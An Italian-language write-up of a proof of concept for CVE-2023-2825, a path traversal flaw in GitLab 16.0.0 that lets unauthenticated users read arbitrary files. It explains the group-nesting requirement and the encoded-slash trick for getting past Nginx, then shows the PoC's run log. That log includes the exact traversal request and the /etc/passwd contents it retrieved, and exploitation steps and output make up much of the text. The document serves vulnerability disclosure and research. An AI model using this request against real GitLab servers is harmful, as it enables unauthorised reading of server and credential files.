
GitLab CVE-2023-2825 PoC. Questo PoC sfrutta una vulnerabilità di path traversal per recuperare il file /etc/passwd da un sistema che esegue GitLab 16.0.0.
Il 23 maggio 2023 GitLab ha rilasciato la versione 16.0.1 che ha risolto una vulnerabilità critica, CVE-2023-2825, che affliggeva le versioni Community Edition (CE) ed Enterprise Edition (EE) 16.0.0. La vulnerabilità consente a utenti non autenticati di leggere file arbitrari tramite un bug di path traversal. È stata scoperta da pwnie su HackerOne tramite il programma di bug bounty.
Al momento della scrittura, non era disponibile alcun proof of concept pubblico.
Un utente malintenzionato non autenticato può utilizzare una vulnerabilità di path traversal per leggere file arbitrari sul server quando un allegato esiste in un progetto pubblico annidato in almeno cinque gruppi. Questo è un problema di gravità critica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Questa vulnerabilità ha un requisito interessante: il progetto deve essere annidato in almeno 5 gruppi. Nei nostri test, abbiamo trovato una correlazione diretta tra il numero di gruppi e le directory che si possono attraversare. La regola sembra essere N + 1, il che significa che se si desidera attraversare 10 directory, è necessario avere 11 gruppi.
Su un'installazione standard di GitLab, gli allegati dei file vengono caricati in /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Quindi, se si vuole raggiungere la root del filesystem, è necessario tornare indietro di 10 directory e quindi servono 11 gruppi.
Quando si carica un file come allegato su un issue di GitLab, viene inviata una richiesta a POST - /:repo/upload. Questa restituisce una risposta JSON con l'URL del file, consentendo di accedere al file.
L'URL del file è composto da /:repo/uploads/:id/:file dove :file è il nome del file stesso. Sostituendo :file con un percorso file qualsiasi, GitLab restituirà il file richiesto. GitLab non riesce a sanitizzare questo percorso file, portando a path traversal.
Per sfruttare con successo questa vulnerabilità, è necessario codificare in URL il / nel percorso file. GitLab lo interpreterà come un valore e lo decodificherà internamente. Non codificarlo porterà GitLab a interpretare il / nel percorso file come parte della rotta.
Nei nostri test, codificare solo il / è stato sufficiente per bypassare gli errori di percorso di Nginx.
Gli utenti non autenticati possono sfruttare questa vulnerabilità solo su repository pubblici che soddisfano il requisito di annidamento dei gruppi. L'autenticazione è necessaria per accedere al repository stesso.
Abbiamo sviluppato il proof of concept in Python. Crea gli 11 gruppi, crea un repo pubblico, carica un file e poi sfrutta la vulnerabilità per ottenere il file /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
GitLab raccomanda di aggiornare tutte le versioni interessate da questo problema il prima possibile.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/